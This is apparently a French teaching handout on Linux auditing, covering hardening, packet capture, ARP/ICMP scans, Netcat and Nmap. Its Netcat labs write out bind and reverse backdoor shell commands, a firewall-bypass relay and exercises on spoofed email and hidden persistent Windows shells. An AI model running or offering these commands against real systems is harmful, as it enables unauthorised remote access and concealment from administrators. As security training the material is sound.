Audit Linux

1. Introduction

1.1. Avertissement légal

Les exercices et les outils contenus ici sont fournis à titre pédagogique et sont à exécuter dans le cadre d’un trafic normal et responsable.

L’auteur décline toute responsabilité quant aux usages notamment malveillants que l’on pourrait leur trouver. Il est d’ailleurs fortement conseillé aux apprenants de solliciter uniquement des machines du LAN ou uniquement des serveurs leur appartenant.

Veuillez utiliser la connaissance pour le bien et dans le respect d’autrui. Derrière chaque machine, il y a des intérêts humains que vous ne pouvez pas soupçonner. C’est au lecteur de prendre la mesure et la portée des actions qu’il mène sur Internet et sur les ressources numériques auxquelles il a accès.

Pour le droit français, Le fait, sans motif légitime, d’importer, de détenir, d’offrir, de céder ou de mettre à disposition un équipement, un instrument, un programme informatique ou toute donnée conçus ou spécialement adaptés pour commettre une ou plusieurs des infractions prévues par les articles 323-1 à 323-3 est puni des peines prévues respectivement pour l’infraction elle-même ou pour l’infraction la plus sévèrement réprimée.

Pour toutes ces raisons, ce document est livré publiquement de manière limitée. Une livraison du document complet est possible sur demande auprès de l’auteur.

2. Renforcement (hardening) du système

Pour mémoire venant de https://www.thefanclub.co.za/how-to/how-secure-ubuntu-1604-lts-server-part-1-basics

Harden the security on an Ubuntu 16.04 LTS server by installing and configuring the following:

  • Install and configure Firewall - ufw, firewalld, iptales-services/-persistent
  • Secure shared memory - fstab
  • SSH - Key based login, disable root login and change port
  • Apache SSL - Disable SSL v3 support
  • Protect su by limiting access only to admin group
  • Harden network with sysctl settings
  • Disable Open DNS Recursion and Remove Version Info - Bind9 DNS
  • Prevent IP Spoofing
  • Harden PHP for security
  • Restrict Apache Information Leakage
  • Install and configure Apache application firewall - ModSecurity
  • Protect from DDOS (Denial of Service) attacks with ModEvasive
  • Scan logs and ban suspicious hosts - DenyHosts and Fail2Ban
  • Intrusion Detection - PSAD
  • Check for RootKits - RKHunter and CHKRootKit
  • Scan open Ports - Nmap
  • Analyse system LOG files - LogWatch
  • SELinux - Apparmor
  • Audit your system security - Tiger and Tripwire

3. Analyseurs de paquets

Protocoles TCP/IP

Dès que l’on dispose d’une vue formelle des modèles TCP/IP et OSI, une activité d’observation du trafic réseau permet de s’initier à des pratiques plus avancées grâce à un analyseur de paquets. Un analyseur de paquets est un logiciel qui se met à l’écoute d’une des interfaces de l’ordinateur et qui met en mémoire le trafic qui passe par elle. L’analyseur de paquets est capable de décoder, sauvegarder, traiter, analyser et présenter la capture.

Un analyseur de paquets peut aussi être appelé en anglais : packet analyzer, network analyzer, protocol analyzer ou encore packet sniffer.

Wiresharsk est certainement le plus connu mais il en existe bien d’autres.

On citera en logiciels Open Source : tcpdump, ngrep, tshark, dumpcap, capinfos, rawshark, editcap, mergecap, text2cap, reordercap, …

Par ailleurs, on remarquera le logiciel et le service en ligne CloudShark qui permette de présenter des captures en version Web (partages, commentaires, wireshark-like).

Analyser des paquets permet de :

  • comprendre et d’apprendre les protocoles
  • de reproduire leur comportement
  • de valider ces comportements
  • de réaliser un audit de performance du réseau, d’identifier des problèmes dans une phase de diagnostic, d’implémenter du QoS dans le cadre de la gestion de la bande passante
  • en cybersécurité, dans une phase de reconnaissance passive ou active, le sniffing permet d’interpréter les résultats d’une prise d’empreinte par le réseau
  • dans un cadre plus défensif, les pots de miel (honeypots) et les systèmes de détection/prévention d’intrusions (IDS/IPS) utilisent la capture de trafic à des fins de journalisation ou de prise de décision
  • En téléphonie, la capture de paquets aide à surveiller et à recomposer les conversations (dans un cadre légal strict : salles de marchés, services de centre d’appels, enquête légale, …)

Dans ce document d’initiation, on se limitera humblement à l’observation de trafic DNS (UDP) et HTTP (TCP).

3.1. Exercice 1 : Observation de trafic dans le “cloud”

  • Dans un navigateur Web, ouvrir la page Cloudshark https://www.cloudshark.org/captures/26c43039ccd6.

  • Observation de la capture dans cloudshark.

  • Filtrer selon les protocoles dns, http et tcp.

  • Noter dans un schéma les phases d’une connexion UDP :

  • Noter le schéma d’une connexion TCP :
  • Noter le schéma du transfert HTTP

3.2. Exercice 2 : Créer un diagramme du réseau

  • Veuillez créer un diagramme représentant les opérations décrites dans la capture.

3.3. Exercice 3 : Observation du trafic dans un outil local

  • Téléchargement et installation de Wireshark/Tshark.

  • Examen de la même capture avec Wireshark en interface graphique.

3.4. Exercice 4 : Élaboration des requêtes HTTP

Client wget

  • La commande wget permet de récupérer une page Web.
wget https://www.test.tf/

Client netcat

  • Etablir une session TCP www.test.tf:80 avec l’utilitaire “netcat”.
nc www.test.tf 80
  • Ensuite frapper la commande HTTP GET.
GET / HTTP/1.1
  • Ensuite frapper deux fois le retour charriot (touche “enter/entrée”)

Client curl

  • Exécuter la commande HTTP GET directement avec curl.
curl -X GET https://www.test.tf/

Client Web en Python (1)

Source : https://www.binarytides.com/receive-full-data-with-the-recv-socket-function-in-python/

  • Création d’un script qui crée un socket get-raw-socket.py (Python 2) :
import socket, sys

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("www.test.tf", 80))

s.send("GET / HTTP/1.0\r\n\r\n")

while 1:
    buf = s.recv(1000)
    if not buf:
        break
    sys.stdout.write(buf)

s.close()

Serveur Web en Python (2)

  • Création d’un script avec la librairie get-urllib2 :
import urllib2
response = urllib2.urlopen('https://www.test.tf/')
print response.info()
html = response.read()
print html
response.close()

Serveur Web en Python (3)

Plus simple encore, à partir de l’endroit du système de fichier à servir en HTTP sur le port 8080 avec les droits d’un utilisateur normal :

python -m SimpleHTTPServer 8080

3.4. Exercice 4 : Observation des sessions

  • Observation des sessions TCP établies, des ports ouverts.
netstat -a

netstat -tnp

netstat -ltnp
  • Identifier les sessions établies

  • Identifier les ports à l’écoute TCP/UDP en IPv4 et en IPv6

netstat

netstat, pour « network statistics », est une ligne de commande affichant des informations sur les connexions réseau, les tables de routage et un certain nombre de statistiques dont ceux des interfaces, sans oublier les connexions masquées, les membres multicast, et enfin, les messages netlink. La commande est disponible sous Unix (et ses dérivés dont Linux) et sous Windows NT compatibles.

Les paramètres utilisés avec cette commande doivent être préfixés avec un « moins » plutôt qu’un slash (/).

  • -a : Affiche toutes les connexions TCP actives et les ports TCP et UDP sur lesquels l’ordinateur écoute.
  • -b : Affiche le nom du programme impliqué dans la création de chaque connexion et ports ouverts (Windows uniquement).
  • -p : Affiche le nom du programme impliqué dans la création de chaque connexion et le PID associé (Linux uniquement).
  • -e : Affiche les statistiques ethernet comme le nombre d’octets et de paquets envoyés et reçus. Ce paramètre peut être combiné avec -s.
  • -n : Affiche les connexions TCP actives, cependant les adresses et les ports sont affichés au format numérique, sans tentative de résolution de nom.
  • -o : Affiche les connexions TCP actives et inclut l’identifiant du processus (PID) pour chaque connexion. Vous pouvez retrouver la correspondance entre les PID et les applications dans le gestionnaire des tâches de Windows. Ce paramètre peut être combiné avec -a, -n et * -p. Ce paramètre est disponible sous Windows XP, et Windows 2003 Server mais pas sous Windows 2000.
  • -i : Affiche les interfaces réseaux et leur statistiques (non disponibles sous Windows).
  • -r : Affiche le contenu de la table de routage (équivalent à route print sous Windows).
  • -s : Affiche les statistiques par protocole. Par défaut, les statistiques sont affichées pour IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP et UDPv6. L’option -p peut être utilisée pour spécifier un sous-jeu de la valeur par défaut.
  • /? : Affiche l’aide (seulement sous Windows).

3.5. Exercice 5 : Capture du trafic

  • Capture avec Wireshark en interface grahique (démo)

  • Capture avec Tshark

tshark -i any -f "port 53 or port 80"

tshark -i any -f "port 53 or port 80" -w dns-http.pcap
  • Capture avec Tcpdump
tcpdump -i any port 53 or port 80

tcpdump -i any port 53 or port 80 -w dns-http.pcap

4. Scans ARP

4.1. Protocole ARP

ARP est un protocole TCP/IP qui est encapsulé directement par un protocole LAN de couche 2 tel qu’Ethernet (802.3) ou Wi-Fi (802.11). Il ne traverse pas les routeurs. Il sert principalement à peupler la table ARP des interfaces TCP/IP. Cette table ARP est une table de correspondance entre une adresse IP à joindre et l’adresse de livraison locale sur un réseau IEEE 802, soit un LAN filaire et/ou sans fil.

On notera que ARP possède d’autres messages ou d’autres usages tels que RARP (service d’adresse IP) et IARP (avec Frame-Relay) mais rarement rencontrés.

RFC, image

4.2. Scanner ARP

Le scanner ARP envoie un message ARP Request (opcode 1) en broadcast FF:FF:FF:FF:FF:FF avec une charge Target IP Address prenant chaque adresse IPv4 d’une plage d’adresse. Ce trafic de diffusion est transféré par tous les ports d’un même commutateur ou dans un VLAN. Chaque interface qui reconnaît son adresse IPv4 dans ce message répond par un message ARP Reply (opcode 2) avec les adresses MAC unicast en origine et en destination. On notera que la charge ARP reprend à nouveau les adresses MAC des deux correspondants.

4.3. Intérêts d’un scanner ARP

Si le trafic ARP n’a de portée que sur le LAN ou le VLAN auquel une interface est connectée, il n’est jamais filtré ou vérifié par les hôtes terminaux. Quel que soit la configuration du pare-feu TCP/IP, l’hôte qui reconnait son adresse IPv4 dans le message répond. Cette procédure à l’avantage d’un gain de rapidité et succès par rapport aux autres types de scans ICMP, UDP ou TCP.

4.4. Table ARP

Ce sont les adresses IP et MAC de la charge ARP Reply qui servent à construire la table ARP de l’interface qui le reçoit. Ce trafic est la plupart du temps sollicité, c’est-à-dire qu’il fait partie d’un échange engagé par une requête.

4.5. Vulnérabilité intrinsèque ARP

Toutefois, rien n’empêche nos interface de mettre à jour leur table à la suite de messages ARP Reply gratuit, c’est-à-dire non sollicités. A cet égard sur le réseau local tous les hôtes sont vulnérables à une attaque d’homme du milieu (MITM). On appelle cette attaque une APR ARP Poison Routing.

4.6. Contre-mesure des attaques ARP

  • Revisiter l’architecture du réseau local (LAN) qui segmentent le réseau en différents VLANs qui correspondent à des profils de sécurité.
  • Implémenter une solution de type 802.1x/EAP/Radius (802.11i, WPA2-Entreprise)
  • Activer des fonctionnalités de type IDS/IPS ARP.
    • sur les commutateurs Cisco Deep ARP Inspection (DAI)
    • Snort
    • mon…

4.7. Outils de scans ARP

  • arp-scan
  • Cain et Abel (Windows)
  • scapy, python
  • autres …

5. Scans ICMP

Mécanisme Echo Request/Echo Reply

Messages ICMP

A lire : Intrusion Detection FAQ: How can attacker use ICMP for reconnaissance?

Capture de trafic ICMP : https://www.cloudshark.org/captures/e64eaac12704?filter=icmp

5.1. Balayage ping (Ping Sweep) avec nmap -sn

Commande nmap -sn cible

nmap -sn 192.168.122.0/24

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 18:50 CET
Nmap scan report for 192.168.122.1
Host is up (0.0011s latency).
MAC Address: FE:54:00:01:69:7C (Unknown)
Nmap scan report for ubuntu-server (192.168.122.31)
Host is up (0.00082s latency).
MAC Address: 52:54:00:68:91:02 (QEMU Virtual NIC)
Nmap scan report for Kali2-03 (192.168.122.41)
Host is up (0.00053s latency).
MAC Address: 52:54:00:01:69:7C (QEMU Virtual NIC)
Nmap scan report for Kali2-01 (192.168.122.58)
Host is up (-0.096s latency).
MAC Address: 52:54:00:39:4A:E1 (QEMU Virtual NIC)
Nmap scan report for 192.168.122.89
Host is up (0.0021s latency).
MAC Address: 52:54:00:39:84:46 (QEMU Virtual NIC)
Nmap scan report for Kali2-02 (192.168.122.98)
Host is up (-0.100s latency).
MAC Address: 52:54:00:05:79:20 (QEMU Virtual NIC)
Nmap scan report for Kali2-05 (192.168.122.163)
Host is up (-0.10s latency).
MAC Address: 52:54:00:66:99:63 (QEMU Virtual NIC)
Nmap scan report for centos7-kvm-template (192.168.122.164)
Host is up (-0.10s latency).
MAC Address: 52:54:00:3C:EA:E7 (QEMU Virtual NIC)
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.00089s latency).
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)
Nmap scan report for Kali2-06 (192.168.122.209)
Host is up (-0.100s latency).
MAC Address: 52:54:00:F5:FB:09 (QEMU Virtual NIC)
Nmap scan report for Kali2-04 (192.168.122.252)
Host is up (-0.100s latency).
MAC Address: 52:54:00:BD:B5:04 (QEMU Virtual NIC)
Nmap scan report for Kali2-0C (192.168.122.40)
Host is up.
Nmap done: 256 IP addresses (12 hosts up) scanned in 3.23 seconds

Note L’option -sP envoie une requête d’echo ICMP et un paquet TCP sur le port par défaut (80).

Quelques outils qui utilisent le “ping sweep” :

  • Angry IP Scanner (or simply ipscan) : https://angryip.org/
  • Outils en ligne : https://ping.eu/ping/, https://network-tools.com/default.asp?prog=ping, …

5.2. Utilitaire fping

D’abord de la documentation

fping -h
Usage: fping [options] [targets...]
   -a         show targets that are alive
   -A         show targets by address
   -b n       amount of ping data to send, in bytes (default 56)
   -B f       set exponential backoff factor to f
   -c n       count of pings to send to each target (default 1)
   -C n       same as -c, report results in verbose format
   -D         print timestamp before each output line
   -e         show elapsed time on return packets
   -f file    read list of targets from a file ( - means stdin) (only if no -g specified)
   -g         generate target list (only if no -f specified)
                (specify the start and end IP in the target list, or supply a IP netmask)
                (ex. fping -g 192.168.1.0 192.168.1.255 or fping -g 192.168.1.0/24)
   -H n       Set the IP TTL value (Time To Live hops)
   -i n       interval between sending ping packets (in millisec) (default 25)
   -I if      bind to a particular interface
   -l         loop sending pings forever
   -m         ping multiple interfaces on target host
   -n         show targets by name (-d is equivalent)
   -O n       set the type of service (tos) flag on the ICMP packets
   -p n       interval between ping packets to one target (in millisec)
                (in looping and counting modes, default 1000)
   -q         quiet (don't show per-target/per-ping results)
   -Q n       same as -q, but show summary every n seconds
   -r n       number of retries (default 3)
   -s         print final stats
   -S addr    set source address
   -t n       individual target initial timeout (in millisec) (default 500)
   -T n       ignored (for compatibility with fping 2.4)
   -u         show targets that are unreachable
   -v         show version
   targets    list of targets to check (if no -f specified)

Ensuite, on peut lancer un balayage ICMP qui reprend la liste des hôtes actifs, mais entre-temps on peut lancer une capture tcpdump :

tcpdump -v icmp &
fping -a -C 1 -i 300 -g 192.168.122.0/24
20:09:29.359558 IP (tos 0x0, ttl 64, id 8925, offset 0, flags [DF], proto ICMP (1), length 84)
    Kali2-0C > 192.168.122.1: ICMP echo request, id 7814, seq 0, length 64
20:09:29.359608 IP (tos 0x0, ttl 64, id 45301, offset 0, flags [none], proto ICMP (1), length 84)
    192.168.122.1 > Kali2-0C: ICMP echo reply, id 7814, seq 0, length 64
ICMP Host Unreachable from 192.168.122.40 for ICMP Echo sent to 192.168.122.2

192.168.122.1   : 0.09

6. Utiliser Netcat

6.1. Objectifs

  • Travail en solo ou en équipe :
    • topologie client
    • topologies client/server
    • pare-feu
  • Monter des sessions TCP et UDP avec Netcat :
    • dans le LAN
    • dans l’Internet
    • A travers un pare-feu
  • Rapport de lab

Prenez uniquement des cibles autorisées !

6.2. Netcat

Netcat est un utilitaire Unix simple qui permet de gérer les sockets (connexions réseaux), c’est-à-dire qu’il est capable d’établir n’importe qu’elle connexion à un serveur, en choisissant le port, l’IP etc.

Il est conçu pour être un outil “back-end “ et peut-être utilisé directement par d’autres programmes et/ou scripts.

Netcat est distribué librement sous la licence GNU Licence Publique Générale (GPL).

Netcat n’est pas nécessairement un outil de sécurité mais il est avant tout un outil de hacking. A priori, quelque soit l’environnement dans lequel il est utilisé, il n’exige aucun droit d’administration pour être exécuté.

Réalisons toutefois que cet outil rudimentaire peut mener diverses attaques qui sont vues ici à titre pédagogique :

  • scan réseau,
  • scan de ports TCP/UDP,
  • Banner grabbing
  • Chat ASCII
  • Remote Backdoor Shell
  • Reverse Remote Backdoor Shell
  • Communications sécurisées SSL/Tor

Couteau suisse TCP/UDP

Binaire Windows à télécharger : https://joncraton.org/files/nc111nt.zip (mot de passe : nc)

Sous Linux, on trouvera un binaire traditionnel nc et une version améliorée fournie avec nmap, ncat.

Syntaxe de Netcat

nc -h
[v1.10]
connect to somewhere:	nc [-options] hostname port[s] [ports] ...
listen for inbound:	nc -l -p port [-options] [hostname] [port]
options:
	-g gateway	source-routing hop point[s], up to 8
	-G num		source-routing pointer: 4, 8, 12, ...
	-h			this cruft
	-i secs		delay interval for lines sent, ports scanned
	-l			listen mode, for inbound connects
	-n			numeric-only IP addresses, no DNS
	-o file		hex dump of traffic
	-p port		local port number
	-r			randomize local and remote ports
	-s addr		local source address
	-u			UDP mode
	-v			verbose [use twice to be more verbose]
	-w secs		timeout for connects and final net reads
	-z			zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]

Labs à réaliser

  • Topologies client :
    • Scan de ports et multi-ports
    • Trafic Legacy (HTTP, SMTP, …)
    • Torify du trafic netcat
  • Topologies client/serveur :
    • Charge TCP/UDP en ASCII (chat)
    • Transfert de fichier
    • Backdoor Shell
    • Reverse Backdoor Shell
    • Relay à travers un proxy filtrant

Consoles nécessaires

  1. Ouvrez un bloc-note gdrive pour y collecter vos essais (à partager avec le prof). Une machine (topologies client) dans un premier temps ou deux machines (topologies client/server).
    • Une console de commande pour Netcat (Linux ou Windows).
    • Une console de diagnostic (netstat ou ipconfig).
    • Wireshark ou tcpdump.
    • Sous Windows configurer le pare-feu finement.

6.2. Topologies client

Scan de ports

nc -v -w 1 -z cisco.foo.bar 80
cisco.foo.bar [8.9.10.11] 80 (http) open
nc -vzw 1 cisco.foo.bar 22
cisco.foo.bar [8.9.10.11] 22 (ssh) open
nc -vzw 1 cisco.foo.bar 23
cisco.foo.bar [8.9.10.11] 23 (telnet) : Connection refused
nc -vzw 1 cisco.foo.bar 53
cisco.foo.bar [8.9.10.11] 53 (domain) : Connection refused
nc -vzw 1 cisco.foo.bar 8080
cisco.foo.bar [8.9.10.11] 8080 (http-alt) open
nc -vzw 1 cisco.foo.bar 25
cisco.foo.bar [8.9.10.11] 25 (smtp) : Connection refused
nc -vzw 1 relay.skynet.be 25
relay.skynet.be [195.238.5.128] 25 (smtp) open
nc -vzw 1 8.8.8.8 53
google-public-dns-a.google.com [8.8.8.8] 53 (domain) open

Scan Multi-ports

nc -vzw 1 cisco.foo.bar 1-255
cisco.foo.bar [8.9.10.11] 143 (imap) open
cisco.foo.bar [8.9.10.11] 111 (sunrpc) open
cisco.foo.bar [8.9.10.11] 110 (pop3) open
cisco.foo.bar [8.9.10.11] 80 (http) open
cisco.foo.bar [8.9.10.11] 22 (ssh) open

Que se passe-t-il avec l’option -r ?

nc -rvzw 1 cisco.foo.bar 1-255

Quelles sont les sessions TCP qui indiquent un port ouvert ou fermé ?

Ports ouverts / ports fermés

Quelles sont les sessions TCP qui indiquent un port ouvert ou fermé ?

nc -vzw 1 cisco.foo.bar 80-81 :
nc -v cisco.foo.bar 22
cisco.foo.bar [8.9.10.11] 22 (ssh) open
SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze1
echo -e "HEAD / HTTP/1.0\n" | nc -v cisco.foo.bar 80
cisco.foo.bar [8.9.10.11] 80 (http) open
HTTP/1.1 400 Bad Request
Date: Sun, 12 Jan 2014 15:32:26 GMT
Server: Apache/2.2.16 (Debian)
Vary: Accept-Encoding
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1
...

Script d’envoi SMTP

  • Basé sur : https://giantdorks.org/alain/smtp-test-message-via-shell-script-using-netcat-instead-of-telnet/
#!/bin/bash
# script to send test mail with netcat.
# expects the following arguments:
# 1. recepient mail server
# 2. port (typically 25 or 465)
# 3. mail from (e.g. from@example.com)
# 4. mail to (e.g. to@example.com)

# for mail_input function
from=$3
to=$4

# error handling
function err_exit { echo -e 1>&2; exit 1; }



# check if proper arguments are supplied
if [ $# -ne 4 ]; then
  echo -e "\n Usage error!"
  echo " This script requires four arguments:"
  echo " 1. recepient mail server"
  echo " 2. port (typically 25 or 465)"
  echo " 3. mail from (e.g. from@example.com)"
  echo " 4. mail to (e.g. to@example.com)"
  exit 1
fi

# create message
function mail_input {
#  echo "ehlo $(hostname -f)"
  echo "ehlo 10.10.10.10"
  echo "MAIL FROM: <$from>"
  echo "RCPT TO: <$to>"
  echo "DATA"
  echo "From: <$from>"
  echo "To: <$to>"
  echo "Subject: Testing one two three"
  echo "This is only a test. Please do not panic. If this works, then all is well, else all is not well."
  echo "In closing, Lorem ipsum dolor sit amet, consectetur adipiscing elit."
  echo "."
  echo "quit"
}
# test
#mail_input

# send
mail_input | nc $1 $2 || err_exit
vi smtp-test.sh
chmod +x smtp-test.sh
./smtp-test.sh relay.skynet.be 25 zozo@zozo.be goffinet@goffinet.eu
220 relay.skynet.be ESMTP
250-relay.skynet.be
250-8BITMIME
250 SIZE 16777216
250 sender <zozo@zozo.be> ok
250 recipient <goffinet@goffinet.eu> ok
354 go ahead
250 ok:  Message 170208462 accepted
221 relay.skynet.be
  • relay.skynet.be 25 -> trafic SMTP autorisé par le FAI Test à faire chez son propre FAI ou un relai SMTP ouvert.

Message reçu

Delivered-To: goffinet@goffinet.eu
Received: by 10.182.155.65 with SMTP id vu1csp53918obb;
        Sat, 11 Jan 2014 20:21:59 -0800 (PST)
X-Received: by 10.194.85.75 with SMTP id f11mr15767833wjz.47.1389500518905;
        Sat, 11 Jan 2014 20:21:58 -0800 (PST)
Return-Path: <zozo@zozo.be>
Received: from mailrelay005.isp.belgacom.be (mailrelay005.isp.belgacom.be. [195.238.6.171])
        by mx.google.com with ESMTP id bp4si6953453wjb.110.2014.01.11.20.21.58
        for <goffinet@goffinet.eu>;
        Sat, 11 Jan 2014 20:21:58 -0800 (PST)
Received-SPF: softfail (google.com: domain of transitioning zozo@zozo.be does not designate 195.238.6.171 as permitted sender) client-ip=195.238.6.171;
Authentication-Results: mx.google.com;
spf=softfail (google.com: domain of transitioning zozo@zozo.be does not designate 195.238.6.171 as permitted sender) smtp.mail=zozo@zozo.be
Message-Id: <073a06$ornfl8@relay.skynet.be>
Date: 12 Jan 2014 05:21:36 +0100
X-Belgacom-Dynamic: yes
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AnGJADQY0lJtgd8C/2dsb2JhbABagwtwB4IvJ4J1okgBkg4BYxd0gkWBeiSIGwGaEpQypGSCZ4E6BKosg2k
Received: from 2.223-129-109.adsl-dyn.isp.belgacom.be (HELO 10.10.10.10) ([109.129.223.2])
  by relay.skynet.be with ESMTP; 12 Jan 2014 05:21:36 +0100
From: <zozo@zozo.be>
To: <goffinet@goffinet.eu>
Subject: Testing one two three

This is only a test. Please do not panic. If this works, then all is well, else all is not well.
In closing, Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Connaître son adresse IP publique

nc -v checkip.eurodyndns.org 80
checkip.eurodyndns.org [80.92.65.89] 80 (http) open

GET https://checkip.eurodyndns.org/ HTTP/1.0\n

HTTP/1.1 200 OK
Date: Sun, 12 Jan 2014 15:46:47 GMT
Server: Apache
Content-Length: 160
Keep-Alive: timeout=15, max=189
Connection: close
Content-Type: text/html; charset=UTF-8

<html><head><title>Current IP Check</title></head>
<body bgcolor=white text=black>
Current IP Address: 109.129.223.2
<br>Hostname: 109.129.223.2
</body></html>

Torify le trafic netcat

Tor permet de rendre anonymes tous les échanges Internet basés sur le protocole de communication TCP.

ncat --proxy 127.0.0.1:9050 --proxy-type socks4 checkip.eurodyndns.org 80
GET https://checkip.eurodyndns.org/ HTTP/1.0\n

HTTP/1.1 200 OK
Date: Sun, 12 Jan 2014 15:49:32 GMT
Server: Apache
Content-Length: 169
Keep-Alive: timeout=15, max=189
Connection: close
Content-Type: text/html; charset=UTF-8

<html><head><title>Current IP Check</title></head>
<body bgcolor=white text=black>
Current IP Address: 109.163.234.5
<br>Hostname: hessel3.torservers.net
</body></html>

6.3. Topologies client/serveur

Sockets et sessions TCP maîtrisées

Vérifiez les sessions établies dans une seconde console Ouverture d’un socket en mode listening du port 1337 (Serveur TCP 1337), dans la console :

nc -l -p 1337

Pour faire très simple, on ouvre le port 1337 sur notre machine en local et on tend l’oreille !

(Il vaut mieux autoriser le pare-feu)

Connexion du client au serveur

nc cisco.foo.bar 1337

Chat TCP1337

Résultat : https://www.cloudshark.org/captures/b648fa680eae

Client/Serveur UDP

Le paramètre -u monte des sessions UDP.

Illustrez ce cas dans un exemple.

Capturez ce trafic et comparez aux messages de chat en TCP.

Transfert de fichiers

Un fichier à transférer “file.txt” du serveur Alice au client Bob (download).

Serveur Alice

nc -l 4444 < file.txt

Client Bob

nc -n 192.168.1.100 4444 > file.txt

Un fichier à transférer “file.txt” du client Bob au serveur Alice (upload)

Serveur Alice

nc -l 4444 > file.txt

Client Bob

nc 192.168.1.100 4444 < file.txt

Chiffrement du trafic avec openssl

Serveur

nc -l 4444 | openssl enc -d -des3 -pass pass:password > file.txt

Client

openssl enc -des3 -pass pass:password | nc 192.168.1.100 4444

Backdoor

Pour exécuter une attaque Backdoor :

Sur la machine à joindre

nc –l –p 3333 –v –e cmd.exe

ou

nc -l -p 3333 -v -e /bin/bash -i

Sur la machine distante

nc 8.9.10.11 3333

Oui mais comment traverser un pare-feu ?

Reverse Backdoor

Pour exécuter une attaque Backdoor :

Sur la machine à joindre

nc –l –p 3333

Sur la machine distante

nc 8.9.10.11 3333 -e cmd.exe

Configuration relay

Sometimes its useful to have little things like this available. But first, let me outline the scenario :

  • You want ssh connection with a system
  • The firewall is blocking inbound SSH connections

Assuming that you already have some sort of shell access on the target machine, This is your nice little work around:

$ mknod redirect p
$ nc -l -p [permitted_inbound_port] 0< redirect | nc 127.0.0.1 22 1> redirect

It works with two simply steps:

  • Creates a named pipe using the first command.
  • Creates a netcat listener that will redirect incoming connections to our pipe, which in turn uses the contents of our pipe as the input for an ssh connection to localhost on the target machine.
  • To connect, you simply connect to the machine using the appropriate login, yet with a different port:
     $ ssh [login]@[target] -p [port_of_netcat_listener]
    
  • Source : https://securityreliks.securegossip.com/2010/09/standard-netcat-relay/

6.4. Travail de laboratoire

Exercices

  • Mettre en oeuvre chaque attaque du document et rendre un travail qui reprend la réalisation de trois scripts : Script qui scanne une plage d’adresses IP et de ports en guise de paramètres.
  • Script qui vérifie la présence de TOR et qui envoie un courriel usurpé en annonçant l’adresse IP publique anonyme, (l’adresse IP publique du FAI et l’adresse IP privée) de l’expéditeur.
  • Script de transfert de dossier compressé et crypté en openssl
  • Question de réflexion : comment installer un reverse backdoor shell Windows permanent à l’insu de l’administrateur ?

Document de laboratoire

Pour chaque attaque, un document (gdrive) qui vient remplir un cahier de laboratoires :

  • Un diagramme (LucidChart) avec le nom des machines, adresses IP, ports, rôles, filtrage.
  • Etat des sessions (netstat -a)
  • Capture (Wireshark et Cloudshark)
  • Console de commande netcat
  • Console auxiliaire (TOR)
  • Indiquer les paramètres de pare-feu

7. Utiliser Nmap

7.1. Etablissement de sessions TCP 3 Way Handshake

  • Machine à état TCP
  • Numéros de séquence et acquittement
  • Structure et comparaison des en-têtes
  • Drapeaux TCP
  • Numéros de ports : https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
  • Analyse de trafic SYN, SYN/ACK, ACK : https://www.cloudshark.org/captures/26c43039ccd6
  • Analyse de trafic refusé par une pare-feu : https://www.cloudshark.org/captures/7c9253084c76

7.2. Machine à état TCP

Source de l’image

7.3. Numéros de séquence et acquittement

Source de l’image

Source de l’image

Source de l’image

7.4. Drapeaux TCP

  • SYN : demande d’établissement de session ou de synchronisation des numéros de séquence
  • ACK : confirme la transmission reçue et identifie le prochain numéro de séquence attendu (accusé de réception anticipatif)
  • PSH : demande de pousser (envoyer) les données en mémoire tampon
  • URG : données urgentes
  • FIN : plus de transmissions à réaliser
  • RST : remise à zéro d’une connexion

Un scan de ports TCP implique les champs drapeaux SYN, ACK et RST.

7.5. Scan de ports avec NMAP

Nmap (“Network Mapper”) est un outil open source d’exploration réseau et d’audit de sécurité. Il a été conçu pour rapidement scanner de grands réseaux, mais il fonctionne aussi très bien sur une cible unique.

Nmap est généralement utilisé pour les audits de sécurité mais de nombreux gestionnaires de systèmes et de réseaux l’apprécient pour des tâches de routine comme les inventaires de réseau, la gestion des mises à jour planifiées ou la surveillance des hôtes et des services actifs.

L’état d’un port est soit :

  • ouvert (open) : indique que l’application de la machine cible est à l’écoute de paquets/connexions sur ce port.
  • filtré (filtered) : indique qu’un pare-feu, un dispositif de filtrage ou un autre obstacle réseau bloque ce port, empêchant ainsi Nmap de déterminer s’il s’agit d’un port ouvert ou fermé.
  • fermé (closed) : n’ont pas d’application en écoute, bien qu’ils puissent quand même s’ouvrir n’importe quand.
  • ou non-filtré (unfiltered) : les ports répondent aux paquets de tests (probes) de Nmap, mais Nmap ne peut déterminer s’ils sont ouverts ou fermés.
Nmap renvoie également les combinaisons d’états** ouvertsfiltré** et **fermésfiltré** lorsqu’il n’arrive pas à déterminer dans lequel des deux états possibles se trouve le port.

7.6. Scan TCP Connect

C’est la commande -sT qui spécifie ce type de scan traditionnel. Voici des sorties sur un scan TCP Connect sur les ports biens connus d’une machine metaspoitable.

Plutôt que d’écrire des paquets bruts comme le font la plupart des autres types de scan, Nmap demande au système d’exploitation qui l’exécute d’établir une connexion sur le port de la machine cible grâce à l’appel système connect(). C’est le même appel système de haut-niveau qui est appelé par les navigateurs Web, les clients P2P et la plupart des applications réseaux qui veulent établir une connexion.

# nmap -sT -Pn 192.168.122.191

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:30 CET
Nmap scan report for 192.168.122.191
Host is up (0.0099s latency).
Not shown: 978 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 2.50 seconds

